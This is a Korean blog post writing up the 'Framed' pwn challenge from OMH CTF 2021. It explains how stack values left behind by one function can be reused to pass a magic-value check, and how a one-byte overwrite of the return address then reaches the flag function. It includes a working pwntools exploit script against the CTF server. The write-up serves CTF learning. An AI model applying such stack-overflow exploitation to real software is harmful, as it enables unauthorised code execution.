[OMH CTF2021] Framed

sangjun

·

2021. 5. 17. 23:52

반응형

문제소스

ef450372fa91137eb9cdc53d34b466cba26a323c0f0f2e2351a284c579526595_framed.tar.gz
0.00MB

보호기법

Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Full

문제 분석 및 페이로드

over flow가 나려면 v4v50xdeadbeef0xcafebabe로 맞춰줘야 하는데 이것은 rand함수로 맞춰지기 때문에

특정한 값을 주어서 내가 원하는 값으로 만들기는 어렵다.

하지만 v2를 음수로 주게 된다면 v4와 v5는 초기화가 이루어지지 않아서 쓰레기 값이 들어가게 된다.

이 점을 이용해야 한다.

문제를 풀다가 생각해봤는데 굳이 hello함수를 줄 필요가 없는데 준 이유가 있을 것이라고 생각했다.

over flow도 안 나지만 gdb로 확인해 보면 feeling\_lucky함수hello함수ebp가 같은 주소를 쓰는 것을 알 수가 있다.

즉, hello에서 스택에 특정한 값을 남기면 feeling_lucky함수에 이 값을 재사용 한다는 것이다.

v4와 v5를 이렇게 원하는 값으로 바꿀 수 있다. 이러면 read함수를 통해 over flow를 실행 할 수 있다.

pie가 걸려있는 것도 ret을 one byte over write 진행하면 flag함수로 return해 exploit 할 수 있다.

from pwn import *
context.log_level='debug'
#p=process("./framed")
dns,port="framed.zajebistyc.tf", 17005
p=remote(dns,port)
e=ELF("./framed")

pay="A"*(0x40-0x10)
pay+=p32(0xdeadbeef)
pay+=p32(0xcafebabe)



p.sendlineafter("Hello, what is your name?\n",pay)

p.sendlineafter("How many shuffles?\n","0")

pay2="A"*0x38
pay2+="\x1b"
#pay2+=p64(e.sym['flag'])
pause()
p.sendafter("!\n",pay2)


print p.recv()
p.interactive()

참고문헌 및 힘들었던 부분

  1. pwnable.kr 의 passcode문제와 비슷했다.
  2. https://psj-study.tistory.com/100?category=1021627
반응형

'War Games > ctf-review' 카테고리의 다른 글

[zh3r0 CTF 2021] more-printf  (0) 2021.06.07
[dctf 2021] Formats last theorem  (0) 2021.05.19
[dctf2021] baby_bof  (0) 2021.05.17
[pwnpwn] ezpwn  (0) 2021.05.17
[shakti CTF2021] signal dROPer  (0) 2021.04.12

0개의 댓글